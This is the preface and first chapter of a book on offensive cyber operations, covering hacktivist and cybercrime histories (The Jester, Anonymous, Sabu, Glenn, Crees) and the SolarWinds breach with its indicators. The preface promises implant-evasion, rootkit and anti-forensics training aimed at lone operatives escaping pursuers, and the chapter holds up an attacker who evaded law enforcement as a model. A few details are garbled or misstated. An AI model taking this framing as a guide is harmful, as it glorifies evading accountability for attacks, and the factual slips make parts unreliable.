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Preface





This book serves as a starter roadmap for offensive cyber operators as well as lawmakers who may not be privy to modern issues in tech. It is built around The Jester Dynamic as covered in Chapter 1 and narrated by TJ O'Connor's SANS Study. As we progress through the chapters, we will use a Purple Teaming method of attack-and-defense. There is a clear distinction between adversarial emulation and becoming an adversary or defending oneself from adversaries. We start with notable cyber conflicts, cybercriminals, and hacktivist groups, moving on to Operational Security and Information Warfare, before digging deep into the technical aspects of offensive cyber operations. The entire book is catered towards lone cyber operatives who may or may not have the backing of the resources of a nation-state. Therefore, they must conduct their missions as a loner or through coordination with teams of anonymous personalities online who share the same objectives.


Chapter 1 provides a lengthy overview of multiple personalities, including but not limited to, Kevin Mitnick, The Jester, Anonymous, David Kee Crees, and Stephen Watt and Albert Gonzalez. It serves as a brief overview of various cyber conflicts and notable cybercrime organizations, as well as online protest and hacktivist groups spanning more than four decades.


Chapter 2 covers notable threats and trends, starting with data collection and data brokers and misinformation. Additionally, the chapter covers the story of Naomi Wu, also known as SexyCyborg, who has since faded into obscurity in Communist China after being targeted and used by Western mainstream media.


Chapter 3 starts the reader's training with emerging and existing tooling aiding in Operational Security (OPSEC). It is supported by historical case studies of threat actors and their mistakes and includes a guide on reliably destroying data on Solid-State Drives. The chapter concludes with an introduction and walkthrough of the Shufflecake Framework, an experimental framework for hiding data behind multiple encrypted faux partitions on any digital storage medium.


Chapter 4 argues that the Information Warfare Component of Cyberwarfare is crucial, with many cited examples of domestic and foreign campaigns of influence. Information Warfare is perceived as a force multiplier for effective offensive cyber operations, as it can be used to amplify the blast radius of a high-profile attack or to reduce it in damage-control situations.


Chapter 5 starts the reader's technical training on ideal programming languages for writing evasive implants. The premise is that operators must understand multiple languages, from scripting and intermediate-level languages to deploy fileless malware and stagers to drop compiled final-stage implants written in C/C++, Golang, Rust, or Nim. The chapter also covers code-obfuscation fundamentals to make implants more difficult to reverse-engineer.


Chapter 6 provides a guide to building an evasive malware development environment. It also includes instructions on setting up and configuring the tools necessary for extensive unit-testing required for evasive implants targeting specific operating systems (Windows) and for creating the monitored environment as a target box.


Chapter 7 marks the beginning of writing a basic evasive implant, drawing elements from my training at Sektor7 using source code templates. It uses Havoc C2 as its primary beacon, and the implant is capable of neutering Sysmon and Eventlog Tracing for Windows. By the end of the chapter, the reader can persist the Havoc Demon implant by using the r77 userland rootkit.


Chapter 8 provides an introductory-level overview of evasion techniques to make life more difficult for pursuers, including sanitizing LNK file format loaders of forensic identifiers, VPN-Chaining attack traffic across multiple jurisdictions, and obfuscation principles. The chapter begins by combining the Chapter 7 implant with a first-stage loader from the original Bumblebee LNK File Loaders in early 2022, leading to tampering with forensic analysis and detection evasion experiments.


Chapter 9 is a revisit of social issues today, with content intentionally targeted towards lawmakers and legislators. The issues include Machine Learning and Artificial Intelligence, along with their ethical implications, as well as privacy matters discussed in the United States Congress today. Notable stories are covered, including how private citizens can pretend to be law enforcement to social engineers and stalk individuals online by making it a matter of emergency to telecom providers. Additionally, a notable study from a collaboration between Duke University and West Point reveals that medically sensitive information can be bought for as little as twelve cents. The chapter concludes with a practical example of a Splinternet-Attack, using known methods to traverse payloads through online spheres of influence and censorship.
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CHAPTER 1


History of Cyber Conflicts



Introduction

In early May 2019, the Israeli Defense Forces bombed a hideout for HamasCyberHQ.exe, in retaliation for cyberattacks conducted by the HAMAS militant group (Gatlan, 2019). Hacktivism, cybercrime, and cyberwarfare have existed since the late 1980s, but this is the first time that cyberspace has been confirmed as an area of legitimate “battlespace”, by confronting the threat with conventional warfare methods.

In this chapter, we will cover major cyber conflicts, cybercrime, and hacktivism from the early 1990s of the Legion of Doom and legends of Kevin Mitnick to the formation of Anonymous in the early 2000s as well as its parallel conflict with the mysterious patriot hacker known as The Jester, and to insider threats like Christopher Glenn. Finally, we will conclude with both the notorious SolarWinds and ProxyLogon/Microsoft Exchange Server Mass Exploitation Campaigns.

Starting from the 1980s, “hacking” has originated from “criminal mischief” types of “crimes” such as phone-phreaking and evolved to financially motivated fraud, public protest, and geopolitical motivations. For example, the motivations of Russian Advanced Persistent Threats (APTs) have diverged from not just nation-state hackers, but a “privateering” industry of mercenary hackers hired by the Russian Government under the condition that they do not attack any machine within the Russian Federation.

In each story, there are lessons to be learned that will be repeated throughout the remaining chapters of the book, covering domains of Operational Security, Information Warfare, and Tactics, Techniques, and Procedures (TTPs) of threat actors. The majority of the lessons to be learned from “Introduction to Cyberwarfare” will be modeled in a manner where the operative fights their foes “asymmetrically”, as in one-against-many. We will also explore how each threat actor got caught or indicted and analyze their operational successes and failures and what we can learn from these mistakes.

When possible, I will reference writeups of the exploitation campaigns and document threat actor tradecraft credited to reverse engineers. In case such writeups are unavailable, I will personally retrieve the implants using public domains such as bazaar.abuse.ch and vx-underground and reverse engineer the payloads myself.

Structure

In this chapter, we will discuss the following topics:


	The Jester

	The Original Anonymous Hacktivist Group

	Christopher R. Glenn, the Longest Sentenced Hacker in History

	David Kee Crees (DR32)

	SolarWinds and Brief Analysis of TEARDROP Loader

	Microsoft Exchange Server Mass Exploitation and Brief Analysis of CHINACHOPPER Webshells

	Albert Gonzalez

	Kevin Mitnick

	Simple Vendor Bypasses Through Manual Obfuscation by Hand



The Jester (2010–2016)

There is much speculation on the identity of the mysterious patriot hacker known as The Jester. In much of this writing, I am citing directly from the SANS Institute Study written by Terrence (TJ) O’Connor’s (author of Violent Python) paper, “The Jester Dynamic: A Lesson In Asymmetric Unmanaged Cyber Warfare” published on February 14th, 2012 (O’Connor, 2012). A number of the upcoming chapters will be based upon this “Jester Dynamic”, as he serves as the ideal model of what a modern asymmetric cyber warrior should be, particularly in the Age of Surveillance Capitalism.

On December 30th, 2010, this mysterious individual posted a quote from Steve Jobs on an Internet Relay Chat Channel, touting or implying that a single or few skilled hackers can “run circles” around less qualified combatants. Starting at the beginning of that year, he managed to bring down two extremist websites and “deanonymize” Anonymous by backdooring their coveted LOIC (Low-Orbit Ion Cannon) Client.

TJ O’Connor speculates on the exact origins of The Jester but confirms that this individual has a military background and is either a former SOCOM Operative or a Support Specialist for their operations. The Jester is motivated by patriotism and has declared violent extremists, leakers, hacktivists, and any threat to national security, both domestic and international, as his enemies.

On January 1st, the beginning of the year 2010, The Jester claimed responsibility for bringing down the website alemarah[.]info, an extremist website run by Jihadis on Twitter, and a public megaphone representing the Taliban. When The Jester bragged about this on Twitter at 3:26 PM on January 1st, 2010, almost immediately, there were critics of The Jester’s cyber capabilities, including the alleged sophistication of his Layer-7 Denial of Service Tool, XerXes, which many claimed to be a trumped up Slowloris Attack.

Starting from this point, The Jester has repeatedly refuted those claims and demonstrated significant skills in Information Technology, Anonymization and Adversarial Tradecraft, Reverse Engineering, Low-Level Programming, Counterintelligence, Psychological Operations, and Information Warfare.

On November 28th, 2010 at 9:02 AM, The Jester claimed on Twitter that he was responsible for bringing down WikiLeaks using the same tool. He was motivated by revenge for the leaks of national intelligence and graphic depictions of the killings of American Soldiers by the site’s founder, Julian Assange. The message read, “www.wikileaks.org - TANGO DOWN - INDEFINITELY - for threatening the lives of our troops and ‘other assets’”. Less than a month later in December 2010, it was documented that The Jester acquired and reverse-engineered the source code of Low-Orbit Ion Cannon (LOIC) from Anonymous, recompiled the program with a backdoor, and packed (compressed) with UPX (Universal Packer for eXecutables) to evade antivirus detection. It was then redistributed over Internet Relay Chat for unsuspecting anons to install and run, removing their anonymity. It’s important to note that at this time, standard antivirus was not particularly sophisticated in detecting malware, and compressing a binary would have easily evaded detection. Now in the year 2023, ANY packed executable, including open-source packers such as UPX and Morphine, or proprietary security-focused packers such as ASPack, Themida, or the built-in packer for VMProtect, which obfuscates the location of the Original Entry Point (OEP) of the stack machine (virtual machine obfuscation), would have triggered antivirus alerts due to its high entropy (randomness of a binary). In a sample of RaccoonStealer that I acquired on May 30th, 2023, the malware authors had to reuse a stolen, legitimate, code-signing certificate to evade MOST antivirus vendors.

With the backdoored LOIC Layers 3 and 4 DDoS tool in distribution, The Jester allowed the payload to propagate among anons for over a month. Until, on January 24th, he finally revealed on Twitter that he managed to reveal the identities of Anonymous.

Starting in late 2010, The Jester picked multiple wars to fight and managed to prove his detractors wrong. He managed to maintain a months-long Layer-7 Denial of Service against the Westboro Baptist Church between February and March 2011 in retaliation for defaming the United States Military and their dead kin, particularly the comments that the church publicly made about LBGTQ+ service members, especially those that have died in service to their country. He publicly claimed he maintained his attack through a single smartphone.

In March 2011, The Jester managed to deface the Libyan Press’s Tripoli Posts with hoax stories that successfully convinced soldiers to abandon their posts. He used a combination of a web exploit with link shortening with bit.ly.

At some point between March 2011 and June 2011, The Jester managed to strike an alliance with a splinter group of Anonymous, known as Backtrace Security, formed on or before March 18th, 2011. Working together as a team, he managed to deanonymize Sabu, or Hector Xavier Monsegur, which led to his arrest in early June and immediate flipping as an informant for the FBI. I will cover Sabu in our following section, since personalities of The Jester and the elite portion of Anonymous known as LulzSec are parallel, closely tied cyber conflicts.

In November 2011, The Jester claimed responsibility for bringing down the extremist website anwaralawkai[.]com using an upgraded, third variant of his Layer-7 Attack Tool, Saladin. Then, outside of several public interviews, including an obfuscated voice-only interview with Norton Security on YouTube called The Most Dangerous Town on the Internet, he disappeared for approximately five years.

The last appearance of The Jester was on October 21st, 2016, when he managed to put the Russian Foreign Ministry into a panic by “faking” a defacement of their webpage. According to the ArsTechnica Article, the method was reflected in cross-site scripting (Reflected XSS) delivered through the same link-shortening trick (Gallagher, 2016). ArsTechnica did not confirm that it was specifically reflected in cross-site scripting, but it involves no compromise of the actual web server that renders the page since it’s a client-side attack. Client-side attacks affect the viewer that is targeted by reflected XSS by utilizing a vulnerability on the webserver to deliver altered webpages in layman’s terms. It’s a common attack vector that one can use to deliver man-in-the-browser implants such as beef-xss hooks for social engineering tricks. But anyone who visited the non-modified, link-shortened URL, would not have seen the defacement.

Following the original Jester’s Twitter Feed, which is still active to this day, he now has his own Mastodon Instance called counter.social. Between the time of his last publicized attack, The Jester had been featured on Mr. Robot Season 2, Episode 1, in July of that year, before he pulled the reflected XSS trick against the Russian Foreign Ministry, which caused Russian media to fanatically report on the “defacement” before backtracking on their story on live television. The Jester has recorded and screenshotted every moment of that reaction and posted it onto his blog, “The Jester’s Court”.

The Jester has been wanted, not just by his own government, but by governments and repressive regimes all around the world as well as thousands of “anons” during his conflict against LulzSec. For almost fourteen years, The Jester has never been doxed (successfully), charged, or indicted and has continued to evade law enforcement and adversarial efforts to track him. He does not rely on the extensive assets and surveillance capabilities of a nation-state; instead, he builds his own infrastructure (in his distorted voice interview with Norton in the YouTube Video “The Most Dangerous Town on the Internet”, he stated that bulletproof hosting is essential). He does not rely on others outside of working together with them while maintaining superb OPSEC (operational security); he even maintained this when he was asked to be a technical advisor for the show Mr. Robot, where he refused to give away any identifiable information.

A lot of the upcoming chapters of my book will be built around this “The Jester Dynamic” In the current era of Surveillance Capitalism, the noose is tightening quickly on any shred of true anonymity or even the false sense of it. Of all of the stories that I will cover in this book, The Jester is the prime example of the “Asymmetric Cyber Warrior”. Outside of his training in the military and his mysterious background, as well as the continuing drive to hone his craft, he has received no substantial support from others but builds upon his capabilities, alone.

Anonymous and Sabu (from 2003 to Present)

On October 3rd, 2011, a declassified document from the Federal Bureau of Investigation revealed the coordination of a splinter group from Anonymous, known as Backtrace Security (formed in mid-March 2011), and law enforcement. In the document, a brief history of Anonymous was explained, that it had its original formation in 2003 on the imageboard 4chan, and it began originally as a group of online protesters, with its first documented activities beginning in 2008 starting with attacks against the Church of Scientology (Federal Bureau of Investigation, 2011).

At some point in 2010–2011, Anonymous switched up their tactics to actual cyber intrusions, doxxings, theft, and release of confidential materials as well as Distributed Denial of Service Attacks (DDoS) using the LOIC tool (Low-Orbit Ion Cannon) against public institutions, private companies, and government agencies as well as their private civilian counterparts. This caused a schism within Anonymous on what their objectives were, creating a splinter group determined to take them down, known as Backtrace Security. LOIC is a Layer 3 and 4 DDoS tool that uses the crowdsourced bandwidth of volunteers to send massive amounts of volumetric attacks using Internet Relay Chat as a targeting platform. At a much later date than this, Anonymous released HOIC or High-Orbit Ion Cannon, the Layer-7 variant that requires much fewer resources to operate to attack vulnerable web applications, much like The Jester’s XerXes, Leonidas, and Saladin attack tools.

The center of all of this was a Puerto Rican man known as Hector Monsegur, under the handle “Sabu” or “anonSabu”. He is, to this day, well-known but no longer respected. After the public release of his public cooperation as an FBI Informant on March 6th, 2012, he lost all respect from the public and, as of right now, works as a penetration tester and consultant.

The earliest known act of cyber sabotage by Sabu was in 1999 when he defaced multiple government websites in revenge for the death of a Puerto Rican caused by proximity to a bombing range (the deceased was not within the range but close to it). While not an initial founder of Anonymous, he joined Anonymous at some point in 2010 and was one of the few behind the partially failed DDoS attack against PayPal on December 8th, 2010 (Fishman, 2012).

Hector Monsegur, under the alias “Sabu”, became very charismatic in the Anon community and soon formed an elite circle within the group. This elite group of skilled hacktivists later coalesced into LulzSec in April 2011. Between this date of formation and mid-March, Backtrace Security formed due to a disagreement between the goals and objectives of Anonymous, vowing to dox all anons. Backtrace Security wanted to stick with the old ways of online protests and trolling, while the anon faction wanted to engage in hacktivism and online vigilantism.

Upon formation, Backtrace Security released a dox of between 70 and 80 anons between March 18th and 28th, revealing that there is an inner circle that directed their cyberattacks. Gawker reported on May 18th, 2011, of the internal chats of Anonymous that lasted from February 8th to February 19th (Cook & Chen, 2011).

Due to a few Operational Security Failures by Sabu, the FBI began zeroing in on him since mid-March, including, but not limited to, posting the public IP address of his private server, which contained pictures of his modified Toyota AE86 on cardomain.com, which enabled the FBI to track him.

Sometime in April 2011, Sabu was talked out of quitting after the arrest of 14 anons for participation in the PayPal Denial of Service Attack and finally formed LulzSec (Greenberg, 2011). Between April 2011 and early June 2011, LulzSec attacked PBS, the US Senate, Fox News, Sony, the Central Intelligence Agency, and the Federal Bureau of Investigation’s civilian cooperative organization, Infragard.

On June 3rd, 2011, a breach of Infragard, Atlanta was released online, containing the usernames, emails, and password hashes of about 176 Infragard members between universities, law enforcement, internet service providers, and private companies. The dumps from the breach have now been archived as “Fuck FBI Friday” on DDoSecrets. The original entry point of the breach was the CEO of Unveillance, Karim Hijazi, as well as tens of thousands of confidential emails and a note questioning Mr. Hijazi’s business practices and corporate ethics as a text file.

On June 7th, 2011, the FBI raided Monsegur’s home and through a series of emotional negotiations, Sabu agreed to be an FBI informant. He was quietly released from a courthouse in Manhattan the following day (Bray, 2012).

From this point on, Hector Monsegur continued his Sabu persona and secretly remained an informant for the FBI until March 6th, 2012, leading to the arrests of several key players of LulzSec, which later was renamed Anti-Sec.

Within the same month, on June 25th, 2011, an entity identifying themselves as “The A-Team” released doxxes on Pastebin fingering Sabu for being a potential informant, as well as the doxxes of other suspected informants and freshly outed anons (Anonymous, 2011). The authors behind this paste also claimed that LulzSec and Anonymous as a whole were not as skilled as they claim to be, and that they primarily target “low-hanging fruit” looking for SQL Injection vulnerabilities and rely mainly on social engineering for their breaches, and that the only benefit of Anons was that it gave security professionals jobs to defend from them. The identities of the authors of this paste remain unknown.

On February 28th, 2012, Hector “Sabu” Monsegur was instructed by the FBI to provide information about Jeremy Hammond, including IP geolocation and usage of Tor anonymization proxies, leading to his arrest for the STRATFOR (Strategic Forecasting) Hack of December 2011 (Ball, 2012). Mr. Hammond was released after being sentenced to 10 years (85% of the time must be completed in the Federal Bureau of Prisons) on November 2020.

Sabu led the original Anonymous to its downfall to the very end, playing first as the ringleader, then as an enabler and figurehead, and finally as a confidential informant without their knowledge. Suspicions about Sabu arose when he vanished for two days after his initial arrest, but by March 6th, 2012, the United States Attorney’s Office finally confirmed that he was an FBI informant.

With or without Sabu, Anonymous remains active today. During the George Floyd Protests on June 19th, 2020, Anonymous claimed the breaches of multiple fusion centers coordinating the activities of local, municipal, and federal law enforcement, which was also revealed on DDoSecrets, uncovering over 200 agencies (Karlis, 2020).

Anonymous activity arose again in greater fervor in support of Ukraine since the 2022 Russian Invasion and targeted Iranian and Chinese websites as well. Since the Russian Invasion, multiple factions have worked for the same goal, including the Ukraine IT Army.

Christopher Rennie Glenn (2003-2014)

There is a lot of debate on WHO is “the longest sentenced hacker”. In the early to late 2000s, it was Albert Gonzalez, who was sentenced to 20 years, a topic I will address in a later section. The Malicious Life Podcast claims that it is Roman “Bulba” Seleznev, sentenced to 27 years. Others claim it’s Maksim “Maksik” Yastremsky, a co-conspirator of Albert Gonzalez, sentenced to 30 years in Turkey.

In my personal opinion, due to the nature of the crime, plus the “vices” I will cover along with the theft of national defense secrets, Christopher R. Glenn, who is currently serving a life sentence in United States Penitentiary, Terra Haute, register number 04919-104 (Government Contractor Sentenced to Life in Prison for Trafficking and Sexually Exploiting Minors Abroad, 2017).

It’s either that or the current active case of David Kee Crees “DR32”, case number 21-CR-402-DDD, which I will also cover in this chapter.

On February 18th, 2014, the Federal Bureau of Investigation indicted Christopher R. Glenn for naturalization fraud, under case number 14-cr-80031-KAM, the warrant was served and Glenn was apprehended on February 27th, 2014. This was the culmination of not one, but at least three separate government investigations between the United States Military, Federal Bureau of Investigation, Honduran National Police, and Australian Federal Police, across multiple countries between North and Central America, the Middle East, and Southeast Asia (Florida Resident Sentenced for Accessing and Removing Classified Information from Military Computers, 2015).

The culmination of the crimes he has committed included, but not limited to, theft of national defense secrets from a classified military computer from Joint Task Force Bravo, theft of military supplies, two counts of naturalization fraud, an escape plot, and the drugging and rape of underaged Honduran girls in a cinderblock “fortress” in Central America.

Christopher Glenn started his “hacking” career in 2003 in Iraq, working as an IT contractor for Blackwater. He seduced a 19-year-old named Majid Tarik Abdul at his worksite, being fluent in Iraqi and infatuated with Glenn’s claims of his “super hacker prowess”. In November 2005, the couple married in Jordan (Phillips, 2015).

During their marriage, discrepancies were noticed by Ms. Abdul and became aware of secrets that Glenn kept from her, including his ability to speak additional languages and his mental instability and emotional outbursts, which disturbed and frightened her. By November 2006, Ms. Abdul wanted out of the marriage, and on December 20th, 2006, they officially divorced.

On April 19th, 2007, Glenn committed naturalization fraud twice. First, he did so for Ms. Abdul (divorced) at the Australian Consulate, then, on the following day, for a 20-year-old woman named Khadraa Adeeb, by turning in fabricated documents to secure citizenship for both of them to eventually live in the United States. A short time later in the month, Glenn and Adeeb got married in Camp Bucca, Iraq, and Christopher Glenn started his employment with Al Barth, an Iraqi IT Contracting Firm on the base.

Between April 2007 and December 2008, the United States Army Criminal Investigations Division opened an investigation between Glenn and Adeeb involving the theft of military equipment. When the investigation was concluded, the Commander of Camp Bucca barred both of them from the installation and all Coalition Facilities in Iraq. The couple returned to Australia where Christopher Glenn began developing “fantasies” of being a “spy” and started collecting books on tradecraft, that is, the art of being a spy.

Mid-2010, while Adeeb was living in the United States, Christopher Glenn began buying property in Honduras and hired workers to start building his cinderblock compound. Two years later, in February 2012, Glenn manages to be granted a Secret Clearance and works for what is now known as the L3Harris Corporation (formerly, known as the Harris Corporation, well known for their former manufacturing of Stingray IMSI catchers or “cell site simulators”) as a Systems Administrator at Soto Cano Air Base for Joint Task Force Bravo.

Four months later, on June 17th, 2012, Christopher Glenn abused his privileges and clearances to steal data from the Commander of Soto Cano Air Base using a combination of SSH-tunneling, packet-sniffing, keylogging, as well as an implant written to the disk. After exfiltrating the stolen data, he burned the copies to a DVD, wiped the logs of the classified machine, and left. It’s speculative how this was done, but according to the discovery information of the indictment and clues from multiple news resources, the commander’s machine was running Windows 7. At this time, Windows did not include an ssh client installed by default, and it would require installation of the OpenSSH Suite for Windows, or Glenn may have tooled a tool called plink.exe, which was common at the time to function as an ssh client to create pivots, relays, forward and reverse port-forwards, and so on. The criminal discovery and various online media have reported that Glenn did use malware written to the disk, which may have port-forwarding capabilities to allow Glenn to bypass the security mitigations of the commander’s machine. As one investigator of the case remarked, what Glenn actually did wasn’t “anything special” for someone who works as an IT Contractor, where such knowledge would have been a mandatory job requirement.

Two days later, IT co-workers of Glenn noticed evidence of intrusion from Glenn’s machine. An internal investigation began, and on June 30th, 2012, IT technicians confronted Christopher Glenn about the anomaly. Glenn lied to investigators that it must have been a malware infection. He turned over all but one hard disk to investigators and then got into a struggle with the staff before he had to be physically restrained. By August 27th, 2012, Army investigators seized all the hardware from Glenn’s workspace and ejected Glenn from the facility. On August 29th, 2012, Christopher Glenn flew back to Florida to see his wife Khadraa Adeeb.

On August 31st, 2012, and September 19th, 2012, Christopher Glenn made multiple bank withdrawals in cash from multiple Bank of America locations in Palm Beach County, Florida. This is a money-laundering technique known as “structuring”, where a large transaction is broken down into smaller “chunks” to evade immediate suspicion.

At some time between the construction and completion of Glenn’s cinderblock compound in 2010 and 2013, Honduran Police began hearing tips about stories of drugging and rape at this location. In October 2013, the FBI opened an investigation in cooperation with the Hondurans.

Finally, on February 27th, 2014, the FBI arrests Christopher Glenn on charges of naturalization fraud. They were unable to prove that Glenn stole military secrets, which were later discovered in the cinderblock compound in Honduras. On March 4th, 2014, a worker named Yarb al-Ethary testified against Christopher Glenn with intimate knowledge of the suspicious activities for years in the Glenn Compound. Seven days later, a convoy of federal agents and Honduran police raided the compound in Honduras and found the original DVD where the classified data from Soto Cano Air Base was held, as well as four hard disks in a Synology NAS.

In the four hard disks, they found copies of the stolen national defense information and also bizarre “forced marriage videos” involving underaged Honduran girls in a drugged-like state. Agents searching the compound found blood stains and sedative drugs throughout the building, confirming the rumors that the neighbors had. As it turns out, over a period of years, Christopher Glenn was deceiving the locals by hiring their daughters as “maids”, then lured them into the compound where he committed his acts.

Two days later, on March 13th, 2014, the FBI arrested Glenn’s wife, Ms. Adeeb, for naturalization fraud. At that time, she was already enlisted in the United States Army. Tensions rose between the couple due to her discovery of Glenn’s acts, and in October 2014, Adeeb filed for divorce. Less than one month earlier, a tip was received in the holding facility for Glenn, indicating that Glenn was plotting to escape, from the Federal Bureau of Investigation.

Between both cases, Christopher R. Glenn was given a 10-year sentence for computer intrusions and, on July 21st, 2017, a life sentence for the sex trafficking of minors in Honduras. He is currently serving a life sentence in the United States Penitentiary, Terra Haute.

David Kee Crees, AKA “DR32” and “Abdilo” and “Gray Hat Mafia’s Bitch” (2014-2021)

This is still an active case, 21-CR-00402-DDD, in Colorado. Factual data is tentative.

On August 18th, 2014, Lizard Squad was formed as a black hat hacking group. If you were present during that time, public media sensationalized their distributed denial of service attacks on gaming networks and Twitch, often forcing streamers to publicly write “Lizard Squad, on yo forehead”, before they let up on their attacks. Targeted platforms were the Playstation Network, Xbox Live, Twitch, League of Legends, Malaysia Airlines, the limited North Korean internet (which is mostly a closed-off, isolated intranet/“splinternet”), and the game company Daybreak. At the peak of their mayhem, a group of suspected law enforcement officers known as “The Finest Squad” retaliated and took the group apart. Outside of the arrests, the majority of Lizard Squad disappeared.

A young man named David Kee Crees evaded arrest and continued on his own. Crees was mostly what I considered an unstable wildcard, and he live-streamed his cyberattacks against hundreds of public and private organizations, including multiple universities, on Twitch against targets located in the United States, Australia, New Zealand, Germany, United Kingdom, Sweden, Canada, Italy, Czech Republic, Poland, and France (DataBreaches.net, 2015). On April 2nd, 2015, Databreaches.net reported that the Australian Federal Police raided his home, but let him off with a warning (Ockenden & Sveen, 2015).

That didn’t stop David Crees, as he continued his hacking mayhem up until his arrest in 2021, from a multi-year investigation by Homeland Security Investigations (HSI). Starting in June 2020, Homeland Security Agents made multiple undercover controlled buys for access and exploits between David Kee Crees and undercover agents. HSI confirmed that the exploits worked, and immediately notified the companies of impending breaches or actual indicators of compromise (DataBreaches.net, SCOOP: Australian national known as “DR32” to stand trial in U.S. on hacking charges, 2022).

The most insane breach that DR32 did was used SQL injection to gain initial access to an underwater sea cable connecting thirteen countries in August 2020. Crees offered to sell access to the cables to undercover agents for half a million United States Dollars. He even bragged about his money laundering method between the two companies that he founded and cryptocurrencies like Bitcoin and Monero in the chat logs. As chat records would have it, Crees offered the undercovers to become a private NSA.

Throughout the investigation, HSI Agents managed to track down Crees through his medical records and business registrations. Specifically, a subdermal “bio-hacking” implant that he received, which also revealed his home address and real name in the medical record. According to DataBreaches, Crees is still being held in a holding facility in Australia, awaiting extradition to Colorado in the United States, and because of the implant, he tends to set off metal detectors as he is being transferred throughout the facility, complicating security concerns.

SolarWinds Breach (2020)

Many of the articles I have read about this breach, particularly those from commercial news media, had the facts “mangled” due to internal political infighting after the November 2020 Election. Donald Trump famously claimed that “the hack” was perpetuated by the “Fake News Media”. As the timeline progressed, he shifted the blame of the cyberattack to China instead of Russia on December 19th, 2020. Furthermore, as more details begin to be reported as time passes by, including default or easily guessable FTP credentials of SolarWinds as well as evidence of the company being breached repeatedly since 2017 in the cybercriminal underground, it is hard to establish clear facts outside of the writeups of the reverse-engineering of at least four strains of the malware. In some articles, it was claimed that the initial backdoor that trojanized the SolarWinds Orion Product had four variants. Others have claimed that it’s the same backdoor under four names. So far from my fact-checking and research, there may be up to two different variants of the original binary that patched the backdoor into the product, that is, SUNSPOT and SolariGate. The DLL known as TEARDROP was actually an in-memory loader that carves and deobfuscates Cobalt Strike Beacons out of JPEG images by cross-compiling the ImageMagick Library to run on Windows before injecting these payloads into memory.

Starting in 2017, cybercrime forums were already selling credentialed access to SolarWinds from a notorious Kazakh native known as “fxmsp”, a federal fugitive that is also wanted for hacking McAFee, Symantec, and TrendMicro, according to Reuters (Seals, 2020). According to a December 14th, 2020 Twitter post by security researcher Vanoth Kumar, he reported that he could scrape default credentials for the FTP server of SolarWinds on November 19th, 2019. In the thread, he used open-source intelligence tools like The Internet Archive to verify that the leaked FTP credentials, which are “solarwinds123”, had been available online since June 17th, 2018 (Kumar, 2020).

As of 2023, the Securities and Exchange Commission has opened an investigation into SolarWinds, including suspicious dumping of securities by executives prior to the public reporting of the breach. The exact extent of the timeline of how long the threat actors have been roaming within SolarWinds’ networks is unclear. However, ReversingLabs noticed that the attackers tested a proof-of-concept patch tool that would later become SUNSPOT/SolariGate in October 2019, one month before Vanoth Kumar disclosed the default FTP credentials to SolarWinds. Unlike the final payload that patched the application, this version was meant to be a dry run.

An investigative article written by Edward Kovacs on SecurityWeek, released on December 18th, 2020, indicated that since the original test of the backdoor patching tool, the attackers were working on building their Command-and-Control (C2) Infrastructure, split across four Amazon Web Services Availability Zones: us-west-1, us-west-2, us-east-1, and eu-west-1, between t December 2019 and February 2020 (Kovacs, 2020). The callback domain was avsvmcloud[.]com and had unique subdomains with randomly generated hashes in the format of hash[.]appsync-api[.]availabilityzone[.]avsvmcloud[.]com according to an April 26th, 2022 blog post by CloudFlare (Tadeusz & Kipp, 2020). On December 14th, 2020, domaintools.com investigated the origins of the registration of the domain avsvmcloud[.]com. It was registered by NameCheap in July 2018, then shifted to GoDaddy by December 20th, 2019, before shifting again to Microsoft Cloud on February 27th, 2020. It then changed its authoritative name server to self-hosted (Slowik, 2020).

With the C2 Infrastructure propped up by March 2020, the attackers, now attributed to APT29 or “Cozy Bear”, began backdooring the SolarWinds Orion Build Process. Trojanized updates of the product were distributed by the end of March 2020. When the backdoored product is run, it sets to a timer of up to two weeks while stealthily checking the environment of the machine that it is being run on. The backdoor began beaconing back around April 2020 to the C2 Servers (Tadeusz & Kipp, 2020).

On December 8th, 2020, FireEye reported that their Red Teaming Tools had been stolen by a yet-to-be-known state-sponsored attacker (FireEye, 2020). On December 13th, 2020, the Cybersecurity and Infrastructure Agency (CISA) issued Emergency Directive 21-01, ordering all civilian federal agencies to check for indicators of compromise and to remove backdoored copies of SolarWinds Orion when found (CISA Issues Emergency Directive to Mitigate the Compromise of Solarwinds Orion Network Management Products, 2020). Around December 14th, media outlets began reporting that the culprits were trojanized updates of SolarWinds Orion, as additional breaches have been reported by other vendors.

On December 14th, 2020, an ArsTechnica article reported that SolarWinds ran their own internal investigation and reported to the Securities and Exchange Commission that their source code was breached (Goodin, 2020). On this day, the United States Electoral College confirmed that Joe Biden became the President-Elect.

A December 16th, 2020, article by BleepingComputer showed a collaborative effort between FireEye (now Trellix), Microsoft, and GoDaddy to sinkhole the malware’s command-and-control infrastructure by seizing the domain avsvmcloud[.]com and using the reverse-engineered malware’s callback IP address 20.140.0.1 (one of many CIDR blocks that causes the payload to self-terminate) to disable the sessions of the payload (Abrams, 2020). On the same day, Slate reported additional victims were compromised, including but not limited to, the United States Department of Energy, National Nuclear Security Administration, Department of Commerce, Department of the Treasury, Department of Homeland Security, and the State Department of the United States. Threatpost reported that the final trojanized updates appeared to have been patched into the Orion product at some point in June 2020 (Seals, 2020). BleepingComputer reported that if the payload’s attempt to resolve the C2 server resulted in a local, unicast, reserved, or multicast IP address in a specific CIDR block range, or a specific range of public IPv4 addresses of 20.140.0.0/15, 96.31.172.0/24, 131.228.12.0/22, 144.86.226.0/24, then it would self-terminate (Abrams, 2020).

As of this writing, affected breaches and institutions that have been breached include, but are not limited to, the United States Department of Agriculture, Department of Commerce, Department of Defense, Department of Energy, Department of Health and Human Services, Department of Homeland Security, Department of Justice, Department of Labor, Department of State, Department of Transportation, Department of the Treasury, and the Administrative Office of the United States Courts.

In addition, affected state and local governments include, but are not limited to, Arizona’s Pima County, California’s Department of State Hospitals, the Kent State University of Ohio, and the City of Austin, Texas. Private sector victims include SolarWinds itself, Belkin, Cisco Systems, Cox Communications, Equifax, Fidelis, FireEye, MalwareBytes, Microsoft, Mimecast, NVIDIA, Palo Alto Networks, Qualys, VMWare, and an undisclosed think tank.

I obtained a sample of the original SUNSPOT binary from abuse.ch with the hash c45c9bda8db1d470f1fd0dcc346dc449839eb5ce9a948c70369230af0b3ef168 and correlated it with the CrowdStrike Blog Writeup on reverse-engineering the original payload that patches the build process for the SolarWinds Orion App using GHIDRA. Within the binary, when activated, it actively listens for attempts to run msbuild.exe (the Visual Studio Compiler), and then determines if Orion is being built. In the binary, there are four encrypted binary blobs that function as the obfuscated “patch” that is AES-128 encrypted.

